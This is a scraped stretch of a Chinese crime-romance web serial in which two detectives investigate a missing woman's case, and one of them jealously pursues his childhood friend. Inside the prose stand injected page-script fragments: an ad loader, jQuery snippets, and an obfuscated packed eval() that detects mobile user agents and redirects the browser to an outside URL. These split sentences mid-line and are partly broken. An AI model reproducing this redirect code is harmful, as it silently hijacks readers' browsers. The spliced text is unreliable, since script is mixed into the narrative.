谢序宁今天一早就出了外勤,根据和方惜亭商量好的任务分配。 他先从存在监控盲区的垃圾桶,到许晴晴失踪出现过的最后一个监控探头,进行反复的现场实验与摸排论证。 在经过五个小时的努力,最后得出百分百的结论。 没有人能避开所有监控探头,走出这条长巷。 于是谢序宁立即分发,从监控录像中截取出来的那只银灰色拉杆行李箱。 他们先从附近的环卫工人开始排查,随后是经常出现在这个片区内的拾荒老人,最后又找遍了整个西城区的所有废品收纳站。 得到的结果都是:没有、没有、没有! 男人累得仰头灌下一整瓶加冰矿泉水,又站在潘强家对面的小卖店内点烟休息。 赶上正午时分日头最毒,他给组员们买了盒饭,自己盯着那栋出于心理因素,而怎么看怎么奇怪的房子时,忽然听闻一阵凶狠的狗吠。 谢序宁皱眉,他忽然想起潘强家,在一楼小院子里养得那两条烈性狼狗。 当时剿破犯罪窝点,整栋楼房的人都被带回了市局调查。 其中在一楼负责看守大门的养狗大爷,因为年纪较大,又没什么实质性的涉案行为,于是被允许释放。 谢序宁没太关心这些事,只这时看到了,便突然问身旁助手:“这老爷子怎么还守在这儿?” 何况潘强那案子,且得查呢!就算他不涉及杀人、未参与许晴晴被害案。 但其中违背妇女意志、暴力侵害等违法行为,也足够坐七八年牢了。 而这栋小楼不补房租,自然很快就会被房东给收回。 老爷子还养着两条大狗守在这里,不逃不走,自然叫人心生疑窦。 助手嘴里还塞着饭,没来得及拿水冲下去,店铺老板便拎着热水壶,出来给他们加水:“那老家伙也是个可怜人。” 谢序宁冷不丁地:“啊?” 店铺老板笑眯眯地同他解释:“无儿无女,无妻无子,无处可去,是个鳏夫,这还不可怜吗?” 谢序宁瞧着他,忽然来了兴致:“您怎么知道的这么清楚?” “我在这地儿做了十多年的生意。”潘强把窝点迁到这边也才三年,他当然知道。 老板把塑料椅子搬出来,也给谢序宁递了一只:“要不是潘强赏他一口饭吃,早饿死了。” “现在恶有恶报,你们警方为民除害,等拘捕令正式下来,房东来收房子。” “他无处可去,又只能四处流浪,还得带着他那两条吃人肉的狗。” 谢序宁:“……什么?” 老板笑起来,拍了拍嘴,一副说错了话的模样:“开玩笑开玩笑。” 他解释:“就那狗,凶得很,我上次多嘴问了一句,说这狗怎么能养得这么野,跟狼似得?” “那老爷子也是随口糊弄我,说他那狗是吃人肉的。” “你说这和平年代,吃猫吃狗都没太听说过,他还想吃人,吓唬谁呢?” 谢序宁:“……”吃、吃人? 男人表情复杂地盯着眼前这位,有意无意给他透露许多信息的店铺老板。 对方年纪也不小,头发花白许多,笑眯眯地看起来十分和善。 但要说起来,许晴晴当时跑路,也是拎着行李箱从这店门口经过。 在绕出来的第一个转角就是监控盲区,之后再也没出来过。 谢序宁本身,就是连带着这一整栋楼,都有怀疑。 他尽量让自己打量、窥探对方的神色不要那么明显,男人轻笑一声:“是吗?光天化日、口出狂言,蔑视法律,胆子也太大了吧。” 店老板被他逼近的势态,压迫得有些不自在,但还是点头应和此番言论。 随即看着那个子高出自己半截的帅气刑警,转身过去大声呵斥:“站住。” 牵狗的老爷子猛然停顿,他目光阴沉沉地,朝谢序宁所在方向缓缓挪来。 分明金灿灿的阳光洒落在周身,可不知出于什么原因,却总给人一种阴寒湿冷的感受。 谢序宁挑眉,又拍拍自己腰间的枪:“你那俩狗咬人吗,要咬人就牵回家去栓起来,一会儿胆敢袭警,可就别怪我正当防卫了。” 老爷子盯着他,看谢序宁虽笑着,但言辞间却不像是开玩笑的。 他嘴角动了动:“请问您是?” 谢序宁大步往前走:“装什么大尾巴狼呢,抄底那天就是我踹得门。” 这几天绕来绕去,整条街的人都知道他是警察了,这老爷子还有心情在这跟他装相? 谢序宁觉得好笑,又毫不在意地跟随进入。 他看着那俩恶狗被铁链子栓在院落墙角处,瞧见老爷子没打算邀他进门,便主动偏头指指那门:“让我进去坐坐?” 老爷子:“房间里头乱得很……” 他推脱的话没说完,谢序宁便不容拒绝地打断:“开门。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老爷子唇角动了动,知道这是个不好说话的,于是哆哆嗦嗦地从衣兜里摸出钥匙来。 他动手把门推开,与外部金灿灿的光线完全相反,房屋内部窗帘全拉,黑洞洞的,还从四面八方泛起一丝暗红的光。 男人定睛看去,才发现是屋内供了一尊神像。 贡品、香烛,全部摆放齐全,但因为自己不太了解这些民俗,所以也没认出来供的是谁。 谢序宁往里没走两步,便拿手扇扇鼻息处:“这味儿……” 男人有些嫌弃地回头,看那老爷子还鬼鬼祟祟地跟在自己背后,便提醒:“我建议呢,你们最好别在安静密闭的地方,这么悄无声息的走在一名刑警背后。” 他神神秘秘地低下头去:“特别容易引发一些不必要的条件反射。” 尤其看这老爷子年纪也大了,背脊佝偻,步伐蹒跚,可能不太经得起他反手过肩摔的招式。 经人提醒后,老爷子面无表情地往右后方撤开一步。 谢序宁又问他:“方便借用一下洗手间吗?” “一楼洗手间,前两天刚堵上,现在还没疏通,暂时用不了。”对方嗓音嘶哑地不像话,让人听着不太舒服。 谢序宁忍着满身鸡皮疙瘩:“洗个手也不方便?” 卫生间是最适合分尸的场地,在血迹疯狂流淌、迅速蔓延的前提下。 只要取出花洒喷头,就能将大片犯罪痕迹悉数通过排水口冲走,达到肉眼干净的程度。 尽管前期,方惜亭已经带队做过血迹检验,但谢序宁总感觉,这老爷子在阻止他进入现场。 而对方越是阻止,他就越是想要进去看看。 那时两方对峙,还没等到下一个合理借口的出现,忽然从门口传来一阵嘈杂的敲门声。 不……准确来说应该是砸门声,期间受到惊扰而疯狂发出的尖锐狗吠,也让氛围变得更加紧张急促起来。 谢序宁盯着门:“不打算开?” 老爷子摇摇头:“他们是来讨债的,这几天老板不在,我也没钱。” “开门就是被威胁,说不定还得进来砸东西,不如安静听他们骂上几句,反正一会儿就走了。” “……”是这样吗?谢序宁点点头,懒得参与其中。 谁知没等悠闲,那房门忽然遭人踹开,他还没弄清楚是什么事儿,一只油漆桶便突然朝眼前飞来。 以男人敏捷的身手,躲开这物自然不成问题,可偏是那老爷子…… 谢序宁侧身往左,身为人民警察不可能袖手旁观,他伸手一把将那骨瘦如柴的老人家拉至身后护住。 油漆桶被人丢进来,砸在他举起护住头部的右臂之上。 坚硬桶身的巨大重量,让谢序宁清楚听见一声闷响,他手肘骨缝里传来钻心的痛:“草!” 刺鼻油漆兜头洒下,生冷黏腻的液体从桶里倒出一半,淋在他身上后,才滚落在地。 男人被砸得后退两步,老爷子腿脚没他利索,被人逼退后又扯着他的衣角摔倒。 谢序宁眼角被糊住,半边脸都是油漆,不敢拿手去擦,视线被遮挡。 慌乱间,他察觉四下人群涌入,拎着油漆桶疯狂往房间内泼洒,以及各式锅碗瓢盆、香炉神像、家具家电等,统统被人打砸在地。 男人忍着疼:“都住手,云京市公安局在职刑警。” 他掏出来的证件,也被大红色的油漆颜色糊住了照片和职务:“破坏案发现场是重罪,所有人,全都退出去。” 他话没说完,另一只裹着黄色的油漆桶又迎面泼来,打砸扔在继续。 男人气急,伸手去摸腰间的枪:“立即停手,破坏现场、袭警,都是重罪。” 门外那两条凶狠狼狗,已经被人乱棍打死,趴在花园角落奄奄一息。 它们窝在水泥地面上的身躯,源源不断往外涌出黏稠血迹,看得渗人。 慌乱间,有人注意到他:“你是警察?” 而后趁他不备,又把躲在他身后那老爷子伸手拖出,对方骂骂咧咧:“老子上次来,潘强也说他在市公安局有人,我今天还非得看看是那尊神佛在背后给他撑伞。” 为首打砸的男人,嚣张至极,他话音刚落,门口又涌来一群年纪渐长的阿姨:“姐妹们,就是这个地方,做些见不得光的勾当,把我们家老头子骗财骗色,还给他传染了艾滋病。” 她撸起袖口:“他们昧着良心挣钱,拒不赔付医药费,还把我们家老头子打得住院,老娘今天非得给他们一点颜色看看。” 谢序宁闭着眼,担心油漆渗入,伤到眼球,他连东南西北都分不清楚。 而当阿姨们扑进来时,却扬起无数包包往他身上来砸:“年纪轻轻有手有脚,做什么不好?干这些见不得人的勾当,你对得起你的父母吗?” 谢序宁拔出枪:“老子是警察。” 他原本打算鸣枪示意,告知门外队友速来支援,可那时刚拔出枪,又有一只油漆桶飞砸而来。 被拖走的老爷子连续不断传出呜咽低鸣,像在求救,谢序宁手腕被击中,子弹未能打出,但手指仍旧紧紧扣住枪身。 草……被油漆桶连砸三次,男人手疼得发抖。 “老大。”跟随办案的助手慢半拍赶到,由于饭后方便,导致他错过了十分钟左右的最佳营救时间。 谢序宁已然狼狈不堪,就在阿姨把他当做潘强手下,又端起一盆油漆打算往他身上泼时,忽然从身后伸来一双强有力的手,扣住她的腕间使劲往后掰回。 “啊……啊啊。”阿姨吃痛大叫:“谁,是谁?” 谢序宁有些难受地在地上摸索,他自己的命可以没,但枪绝对不能丢。 男人隐约察觉支援赶到,正欲抬头,却忽然闻见一股熟悉白茶香。 在模糊不清的视线范围内,有清瘦人影俯身蹲下,对方拿手轻轻拭去他挂在眼睫处的黏腻油漆。 温热指腹印在眼周,方惜亭嗓音发抖地问:“你没事吧,谢序宁……” 12.刑侦:黎明之后 黏在湿冷油漆里的手,被人抓住后握起。 情急之下,方惜亭像是忘了自己洁癖的毛病。 带着雪松白茶的清冷香气,倾身而下,覆盖在谢序宁的鼻息之间。 男人双眼紧闭,担心油漆渗入…… 他视线受阻,但知道在意的人就在身旁。 那时两手胡乱摸索,意外掐在对方腰侧,印下一截红黄色的油漆指印。 因为不常有的肢体接触,方惜亭呼吸猛窒,察觉对方背脊僵直的前提下,男人忽然低吟一句:“眼睛,好疼……” 猫儿立刻慌张,再顾不得,忙用两手捧住他脸:“让我看看。” 那时两人离得近,方惜亭低头往前的动作,像是要把自己的腰身,刻意往那男人掌心里送。 谢序宁只需略微抬头,鼻尖便能贴蹭在他的颈窝处,迷人气息被肆意贪婪地疯狂吸取。 于恒举枪带队,他闯进来:“云京市公安局刑侦支队执行公务,所有人,放下武器。” 刚才还嚣张打砸的暴徒,被警服震慑,面面相觑。 举起油漆桶的阿姨,视线试探一周后又松手,桶身“哐”地砸落在地。 方惜亭顾不得安排其他,满心满眼都是意外负伤的谢序宁。 他主动把对方的手臂,架到之前都不许他碰的肩侧之上:“我先带你去医院。” 质量差、异味重、各项数据不确定是否达标的工业油漆入眼,恐怕会对眼球造成不可逆转的伤害,方惜亭慌不择路。 谢序宁被他搀着,跌跌撞撞跟随往前,正要坐进车里时,男人良心发现:“新买的车,要不我套个塑料袋?” 想着好歹是真皮座椅呢,要弄脏了,后续清洗起来也给人添麻烦。 谢序宁难得精打细算,为他考虑,却不料方惜亭不管不顾地,径直将他推上副驾。 对方气急,还拍下他手,像在埋怨,都什么时候了,还有空想车呢? 谢序宁被那软乎乎的巴掌,拍得大脑空白。 他盯着方惜亭主动贴过来的指尖,被人拉过安全带来绑在身上,猫儿温热轻缓的呼吸声,在他身前来回绕了两三遍。 从来遵守交通规则,开车最耐心,被人连塞三辆车都不急不躁的乖宝。 今天载着“负伤”的谢序宁,一路油门踩得飞起,玉皇大帝来了也不肯让,车开到半路,还按开车窗去骂:“你他妈的会不会开车?” 谢序宁:“……” 男人鲜少得见方惜亭情绪失控,与人争执对错的场面。 但又隐约记起,去年刚入冬时,自己因为过劳导致胃出血,在家发病,几度休克。 那时也有人在他模糊不清的意志里,排除万难,将他救下。 即使被人拼尽全力去保护的感受并不真实,但至少在那瞬间,谢序宁固执的认为,方惜亭一定比自己所了解的,还更加在意他。 到达医院急诊室后,方惜亭无法进入,只好作为家属等待在外。 所幸谢序宁眼部油漆沾染并不严重,女医生拿棉签,小心细致地托着下巴,替他清洗。 之后又通过x光片检测,发现手部被砸处有些轻微骨裂,需要静养。 谢序宁眼珠子一转,他忽然问:“能给我打个石膏吗?” 女医生不太理解地转过头去:“?” 石膏这东西打在手上不方便,一般患者都是能不打就不打。 像谢序宁这样主动要求打上的,倒是少见。 男人跟她解释:“工作需要,不然我老忘了自己手上有伤这事儿。” 他亮明自己的警察身份:“打个石膏,增强记忆,省得下回不小心,把手掰断了也没想起来。” 女医生若有所思地点点头:“那行,你坐好,我去拿些东西,回头给你缠上。” 在等待谢序宁就医期间,方惜亭握住手机,担心地在诊室外来回踱步。 他中途接到电话,是于恒打来汇报案情进度,说通过排查许晴晴的通话联系人,确认到了一名身份可疑的年轻女性。 “陈茜,女,27岁,已婚,于2023年底12月27日晚23:33分去世。” “死因,坠楼,经法医检测,死亡原因系自|杀,死亡地点,潘强家对面自建民房顶楼。” 方惜亭听得云里雾里,还没等从人已经死了,又怎么和许晴晴保持联系的疑问中回过神来。 又听闻于恒继续汇报道:“当事人离世两月有余,丈夫持续拖延,未替她办理销户手续。” “期间又使用她的电话卡,一直和许晴晴保持联系。” “我这边觉得奇怪,就拜托当时负责办理案件的同事,调取了当时的结案资料。” “通过查询结果得知,陈茜大学毕业后,便和恋爱长跑四年的同校学长赵平结婚。” “婚后夫妻恩爱,工作顺利,又有父母支持购买住房,家庭条件较为优渥。” “直至23年5月,陈茜发现自己怀孕,又至同年11月,在医院查出感染梅毒。” 方惜亭:“……”11月?梅毒? 等等,之前他翻阅许晴晴的病例报告,好像11月也有检测出梅毒的结果。 而且陈茜5月份发现怀孕,到12月应该已经快临盆了,如果那个时候感染梅毒的话。 “所以说赵平是趁妻子怀孕,外出猎|艳,意外感染X病,又传染给了即将临盆的妻子?” “通过母婴传播,孩子就算生下来,也是病毒携带者。”方惜亭眉头皱起来:“所以陈茜接受不了丈夫出轨、招|嫖,害了自己和肚子里的孩子同时感染X病,一时想不开才跳楼身亡?” 且特地选择潘强家对面,大概率也是这个原因。 因为潘强家一楼养着两条恶狗,她进不去,所以只能退而求其次,转移阵地到隔壁。 方惜亭捏着手机:“如果是这个原因的话,赵平怨恨许晴晴带病接客,害他家破人亡,杀人动机非常强烈。” 于恒说:“我们已经对比了赵平的身份信息,根据系统留存的照片显示,除却没有眼镜特征外,其余五官均与许晴晴交好的小姐妹们,形容出来的画像图基本一致。” 方惜亭点头:“我知道了,立刻成立调查小组……” 他话没说完,于恒匆匆打断:“副队,还有,除却赵平、陈茜与许晴晴之间的恩怨纠葛以外,在案发次日凌晨六点,我们通过排查谢副队划出来的监控点位,发现了一辆行踪可疑,从许晴晴失踪地监控盲区驶出的面包车。” 方惜亭手机震动一下,发现于恒把那辆面包车从盲区驶离的录像视频发给自己。 根据车牌号查询,这辆车是半年前进入二手市场,在本月初,也就是许晴晴出事前一周被人买走,时间紧迫到连过户手续都还没完成。 但是根据二手车市场提供的买卖合同,购买人一栏赫然落下赵平的大名。 在已知对方名下有一辆20余万代步车的前提下,还刻意购买价格不足3w的报损二手车,在许晴晴失踪次日从监控盲区驶出,很难不让人怀疑其动机。 方惜亭结束和于恒的通话,坐在走廊处思考。 不多时,远处药房拉起广播:“请谢序宁先生或其家属,到3号窗口取药。” 方惜亭默认自己的家属身份,自觉承担起照顾伤患的责任。 他匆忙赶到取药处,认真记下了每种药液的功效和用法,正专注间,忽然有人拍下他肩:“小方同学?” 方惜亭回头,稍显几分惊讶:“秦副队?你怎么?” 对方举起裹着纱布的手:“早上抓毒贩,磕在柜子上了,刚过来拿药。” 秦闻打量他一遍:“你怎么了?哪不舒服?还是受伤了?” 方惜亭没太在意地答:“啊,不是我,是谢序宁……” 是谢序宁?对方微挑起眉。 而此时在二楼诊疗室的谢序宁先生,刚打好石膏出来,发现家属早没影了。 医生好心提醒:“家属在一楼药房取药,您直接下楼左转,应该就能看到。” 谢序宁懵懵地“哦”了声,但没往前走两步,察觉四肢不太协调。 女医生看他从下了诊疗床,就一瘸一拐的腿,再度叮嘱:“谢警官,您伤的是手……” 对方笑着:如果想装病博取家属同情,借以得到更多关爱的话,这边建议装手疼,会比较合适的哦,亲亲。 谢序宁垮着脸:……哦,知道了。 男人吊着石膏手,下楼寻找方惜亭。 却意外瞧见他丢下病号,跟隔壁禁毒支队的秦闻有说有笑。 秦闻这小子,谢序宁的一级警戒对象。 与他同期入职,专业能力强,特别还对方惜亭心怀鬼胎。 恰巧那时对方提及:“上次我的线人给你提供线索,对你们组后续破获案情,起到了重大推进作用,你不是答应要请我吃饭吗?这都两个月了,怎么还没动静?” 方惜亭早把这事儿给忘了:“啊,真不好意思,我最近实在忙,你看要不……” 秦闻逼近他一步:“择日不如撞日,就今天吧,你把谢序宁送回家就出来……” 谢序宁惊恐:“……” 什么?他们俩吃饭,居然还得先把自己送回家? 怎么,他看起来是什么很贱的人吗?是不值钱的电灯泡吗? 方惜亭手指按在取药台上,有些仓促地回避:“今天晚上,不知道有没有时间,你看明天中午怎么样?正好能把我们组的人一起带上,他们最近查案也很辛苦……” “不行。”秦闻完全不给他逃避的空间:“上次特意说好单独约会的。” “只是作为朋友,作为同事,既然问心无愧,为什么不敢来?除非……” 方惜亭当然没有其他想法,盘算着尽早吃完也算解脱,于是正要答应:“那就今……” 他的“晚”字没能说出口,远处突然有人踉跄一步。 方惜亭抬头看到谢序宁抱着脑袋,便迎上去:“怎么了?你怎么自己下来了?怎么还打上石膏了?医生不是说一点骨裂没关系吗?你捂着脑袋干什么?头疼?怎么会头疼呢?你也没伤着头呀。” 猫儿倒不刻意和那臭狗保持距离,上手的动作一点儿没犹豫。 平常打打闹闹能把市局的房顶给掀掉,关键时候青梅竹马的优势尽显。 谢序宁不要脸地把脑袋用力塞他颈窝:“不知道,那阿姨扔油漆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11678049|124207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桶的时候,我明明拿手挡了,记得是没有砸到脑袋,可总觉得脑子晕乎着。” 男人挑衅的眼,透过方惜亭的肩侧,直直和秦闻的视线相撞。 他看到对方裹着纱布的手,又恶狠狠地举起自己打着石膏的右臂,然后委委屈屈和方惜亭诉苦:“我的手也好疼,明明和他们说过不要打石膏,会影响工作的,可医生说不行,必须要打,不然后续伤势养不好,骨头出现错位,还得过来手术。” 方惜亭吃惊又心疼:“怎么这么严重?” 而且医生一点都没和他提起过,这也太不负责了。 秦闻那时见他还忙,不便打扰,挽起袖口上前:“亭亭,那你先处理谢副队的伤,我还有事,餐厅位置待会发你?” 谢序宁不等方惜亭点头应下,便将脑袋偏过去:“头晕……” 他的体重完全砸在方惜亭身上,对方扛人吃力,但仍没松开手道:“先回家休息吧,我开车送你。” 就这么着急送他回家?想跟隔壁禁毒支队那小子去烛光晚餐是吧。 谢序宁恨得咬牙,体重再往下沉,压得方惜亭踉跄好几步才勉强站稳。 男人蹭着他的肩:“不行,案子还没破,我怎么可以一个人回家躺着?” “而且家里没人,空空荡荡的,天气又冷,点个外卖还得自己下楼去拿,回办公室好歹有兄弟能帮我到食堂打饭。” 他举起自己的石膏手:“何况医生也说了,我这手治不了,只能靠养,得多喝点猪蹄汤。” 方惜亭拿他没法子:“知、知道了,今晚回家给你煲猪蹄汤。” 耶!男人首战告捷,得意的眼神望过去,直视秦闻:瞪死你个崽种。 期间还不忘假惺惺地回头体贴道:“那案子怎么办?” 方惜亭撑着他的胳膊:“让于恒把资料传过来就行。” 他们在家办公,影响不大,只要保证案情的最新进展,能及时在工作群内沟通交互就没问题。 安排完这些,方惜亭有些抱歉地转头:“真不好意思,秦副队,吃饭的事情可能……” 他和谢序宁本身就有二十多年的交情,就算撇开这些不讲,并肩作战的队友负伤,他也没有扔下对方,再与旁人单独约饭的道理。 秦闻站在旁侧,闻言点头,表示理解:“谢副队伤得这么严重,也没办法。” 两个男人目光相接,快要打起架来:“再者临时约会,也实在仓促,怕招待不好。” “这样吧。”秦闻视线转过去,笑意浅淡地盯着方惜亭:“我有个在法国留学的朋友,前段时间刚回国,开了一间法式餐厅,味道、口碑、环境都还不错。” 方惜亭点头:“那你定吧,往后一周,在三餐时间点上的30分钟以内,我都能来。” 谢序宁咬牙切齿,眼睁睁看着方惜亭和秦闻两人,在自己面前敲定了约会时间。 转头上车时,男人还生着闷气,车门被甩得“啪”地声响。 方惜亭是不得已,当初答应请秦闻吃饭,也是出于感谢,自己主动提出来的。 只是后来忘了,再碰面时还由别人提起,本就抱歉,应邀赴约理所当然。 这时钥匙拿在手上,他奇怪地偏过头去。 思索谢序宁的右手,明明打了石膏,怎么还能使上那么大的劲儿? 虽然不知道他在气什么,但秉着照顾老弱病残孕的原则,方惜亭还是大人不记小人过地探身过去,伸手替他系上安全带。 前后不足两秒钟的近距离接触,让他闻到了一点点,男人唇齿间浅淡的烟草气息。 而后不知怎地,对方那股子冲天的火气,又莫名其妙地悉数消散掉。 在回家路上,路过生鲜超市时,方惜亭把车停在路边,抽空扯开安全带去买了两只猪蹄。 又经询问商铺阿姨,得知黑鱼有促进伤口愈合的功效,于是也再买了两条。 等折返回来时,方惜亭看见谢序宁阴沉着面色。 因为手臂石膏的原因,导致打字不便,所以握着手机的情绪变得更加厌烦焦躁起来。 方惜亭好心提醒:“你可以用左手,点住语音,然后再和对方沟通。” 男人愤愤不平,瞪他一眼。 鼻尖猛然蕴起的热气,湿漉漉地,活像条大狗。 谢序宁还在记恨,方惜亭答应和别人约会的事,他嘴角垮下来。 心情比发现主人偷偷在外养了别的狗,还要更加委屈伤心一千倍。 何况忍着麻烦不发语音,是他不知道有语音功能吗?那他妈的是他不能用。 他怎么能当着方惜亭的面…… 男人视线垂落,停留在自己疯狂敲击的手机屏幕上。 群名:【魔鬼训练营】 人数:(3) 【谢序宁】:求助,请问谁有经营法式餐厅的人脉?速发给我,认识厨师也行。 【娇娇】:不是吧大哥,你还没追到方惜亭? 【虎子】:上次我俩喝得住院,好不容易把你灌醉,给机会让亭亭扛你回家,这你都没得手? 谢序宁不堪回首,痛苦捂头:别废话,赶紧联系全云京市所有法式餐厅,再晚一步,你们嫂子就跟人跑了。 13.刑侦:黎明之后 虎子和娇娇,他俩发小,半年前各自从法国和意大利留学归来。 履历是曾担任过国际某知名奢侈品公司的品牌设计师。 目前分别从事高奢珠宝、私人服装定制的小众品牌设计行业,生意做得风生水起。 创业期间,结实人脉颇多,在谢序宁求助帖发出不足半小时,两人迅速搜罗到全市30余间顶奢法餐。 谢序宁为难地看着这密密麻麻一整页:所以是哪间? 【娇娇】:你问我? 【虎子】:你不会在问我吧,哥。 谢序宁按着头:靠,就听见他俩约法餐了,约在哪里我也不知道。 【娇娇】:自己去打听,追个人磨磨唧唧十几年都追不到,没用的东西。 群聊人数(2) 谢序宁看着激情输出后直接退群的姐们儿:……吃枪|药了她? 虎子慢吞吞地回:咱娇姐刚接了七位数的婚纱大单,这几天焦头烂额,忙着设计底稿呢。 谢序宁恍然大悟:哦,所以你的工作室都没生意吗? 虎子紧咬后槽牙:哥,不瞒你说,那位客户还在我这里预定了两颗七位数的结婚钻戒。 他略显几分忧郁:所以我也很忙。 群聊人数(1) 谢序宁吃惊:靠,怎么都退群了? 他迅速把人再拉回来:知道了,餐厅地址我自己去打听,但是你们俩不能对你哥的终身大事无动于衷吧。 男人嚷嚷着:马娇,你当年数学考试不及格,每天刷题刷到哭,那时候你哥怎么帮的你? 娇娇暴走:说了八百遍,不许再提这个名字,你姐现在叫Madeline。 【虎子】:哥,不是我们不管你,问题是你这进展也太慢了。 【娇娇】:这是慢的问题吗?我都不想吐槽你,二十多年了,穿开裆裤的青梅竹马,父母门当户对,知根知底,但凡你俩有一个是女孩儿,那都得是订娃娃亲的关系。 【娇娇】:从幼儿园到大学都是同学,毕业入职能进同一个公安局,每天抬头不见低头见,老天爷就差没把方惜亭盖个红盖头送你床上了,这你都拿不下来? 【虎子】:不是我说,哥,你迟迟不下手,也不能阻止别人下手吧。 【娇娇】:你问过方惜亭吗?你知道他不想谈恋爱吗?你凭什么阻止人家遇到更好的人? 谢序宁被骂懵了:我…… 他迟疑半秒:其实我也想追他…… 群聊人数(2) “靠”男人又骂一句,忙把马娇再拉回来:我现在追,现在追行不行? 他支吾着:可是我没追过人,也不知道该怎么追。 追逃犯他倒是挺拿手的,但是追对象的话…… 男人偷瞧一眼因为堵车,而被迫停在车流中,垂着眼不停收发短信的方惜亭。 对方唇角抿得很紧,没带什么笑意,但手机对面的人却像有说不完的话,一条一条发个不停。 该不会还在和秦闻聊天吧? 【娇娇】:追人还不简单?每天早中晚按时问候,约他吃饭、看电影、节假日发个祝福红包,有事没事送点小礼物,试探几次他没拒绝,你就挑日子表白。 【谢序宁】:早中晚都要问候?怎么问候? 【娇娇】:微信问候也不会?早上好、中午好、吃了吗、早点睡。 【谢序宁】:可是我把他微信拉黑了怎么办? 【娇娇】:…… 【虎子】:…… 群聊人数(1) 草,谢序宁也烦躁起来,想着要他们两个没什么用,索性把三人小群直接原地解散。 结果没几分钟,那俩货又重新建群把他拉了进去。 群名:【求婚大作战】 【娇娇】:第一步,想办法把他重新加回来,三天之内,没后续我就去怂恿他谈新对象。 谢序宁握着手机,看到最后通牒,整个人瘫软下去,从来没有觉得人生这么迷茫、困难过。 他喜欢方惜亭,一直不敢有所行动,从不是因为胆怯,而是害怕失败了就连朋友都没得做。 那时瞥眼回去,大概视线过于炙热,对方察觉后,也很快把头转过来。 谢序宁没什么不敢的,他盯着方惜亭看了一阵儿,忽把手机伸过去:“微信,加回来。” 言简意赅。 方惜亭起初,确实因为他过于不加掩饰的目光,而察觉些许不自在。 但在得知对方的真实目地后,也没为难,他本来就不是真心想跟谢序宁闹掰。 那时手伸过去,扫了下男人主动递过来的名片信息,点击添加好友。 谢序宁默默给方惜亭设置了【聊天置顶】后,又装作不经意地问:“手机响个没完,跟谁聊呢?” 方惜亭没太在意地答:“于恒。” “于恒?”因为得到答案过于让人吃惊,以致于谢序宁重复时的声调拔高了好几度,他险些脱口而出:不是秦闻? 方惜亭被吓一跳,莫名其妙地将他盯着:“怎么了?” 男人双目圆睁的表情,过于难以置信,倒像他在撒谎。 方惜亭也不清楚,自己和于恒聊天的事,怎么会让他这么吃惊? 谢序宁神神叨叨的,连他跟谁聊天都要怀疑。 方惜亭无所谓地将手机递出去:“要看吗?” 想来反正都是公事,也没关系,再说两组协同办案,谢序宁作为带队组长之一,本来就有权知晓案件办理的过程和进展。 男人也不客气,顺势接过手机查看,发现聊天界面还停留在和于恒的对话框里。 他当然对于恒不感兴趣,假意翻看几页后,便偷偷在好友列表里找到秦闻,然后点击进入。 因为工作不同频,双方联系的时间不凑巧,很难能聊起来。 只是偶尔抽着空,秦闻会分享一些生活日常,比如“下雪了”、“花开了”、“手又受伤了”这之类。 谢序宁捏着手机,心里愤愤:好小子,就知道他不安好心,搁这装病博同情呢? 要说以前带队出警,自己遇到危险,受伤的时候也不在少数。 只是出于男人脸面,他一般都逞强,不把自己弱势的一面让方惜亭看到。 谁知那臭猫就吃这一套,前边带着猫猫狗狗、花花草草的信息,他回也不回。 只一听人受伤,就立马关心:“怎么伤的这么严重,去医院看过了吗?” 【秦闻】:独自在医院打消炎针呢,也没人陪。 【方惜亭】:倒是今天不凑巧……这样吧,家里煲了鸡汤,我叫个同城快送给你。 【秦闻】:真的吗?正好还没吃饭,肚子很饿,谢谢你,心地善良的小天使。 小、小天使!?谢序宁头皮发麻,不由想起自己之前和方惜亭吵架,口不择言辱骂对方是“大笨猪”这样的话。 半小时后,附赠一张可爱的保温桶里,泛着金黄油花的鸡汤被人拍照反馈。 忽略这期间秦闻的各种花式夸夸,谢序宁总觉得这张照片瞧着格外眼熟。 他抬头往上,寻找联系日期,竟发觉,这不是去年胃出血,自己生病住院的那段时间吗? 鸡汤是方惜亭特意给他熬的,那臭猫白天忙查案,晚上还得抱着资料来医院陪床。 谢序宁拿着手机,沉默半晌:……啊哈? 原来秦闻那小子,嚣张半天,尾巴翘到天上去,也是沾着他的光,才能吃到那份同城外送? 甚至于那天打吊针,他们还在同一家医院。 所以他在方惜亭的眼里,根!本!什!么!也!不!是! 谢序宁欣喜若狂,当场拔掉对方的情敌标签,连夜将秦闻从一级警戒对象,降到二级。 方惜亭眼睁睁地看着那男人的面色,从懊恼、痛苦、震惊、释然,再回归鄙夷…… 直到这一系列复杂的神情,最终全部转化为“可笑”时,他不得不好奇地问:“看什么呢,这么开心?” “没什么。”没等方惜亭探头过来,谢序宁便镇定自若地退出聊天框,半点没在意地掩饰自己刚刚可耻的偷|窥行为。 他藏不住的欣喜,把手机交还到方惜亭手里:“不就是这些线索吗?半点进展也没有。” 方惜亭接回手机,觉得他有病:“已经找到赵平了,这就是很大的进展。” 他重新翻找一遍自己和于恒的对话,没觉得哪里好笑,恰巧那时对方电话打进,方惜亭顺手接起:“喂,于恒,怎么了?” 对面不知发生什么事,扯着嗓子大叫:“副,副队,不好了,出大事了。” 于恒嚷嚷着,激动的情绪带动嗓音也变得尖锐起来:“我们好不容易摸排到赵平的行踪,结果发现他有逃窜出国的打算,就在今天下午18点,在云京市国际机场被巡警逮捕。” “但是……”于恒猛吸口气。 “但是还没等我们负责交接的同事赶到,又从消防处打来一通电话。” “说是赵平家住址地发生火灾,火势极大,蔓延迅速,极有可能对房屋内部证物造成不可修复的损害。” 方惜亭心绪猛沉:“把地址给我,我马上过来。” 恰巧那时,拥堵路段的车流被疏散开。 在前往赵平家的路上,十个红灯六个绿灯,方惜亭记得清清楚楚。 小区楼下水泄不通的围观人群,以及不远处惹人注目的大型红色消防车,都从车窗外迅速闪过。 高楼之上,滚滚浓烟还未消散。 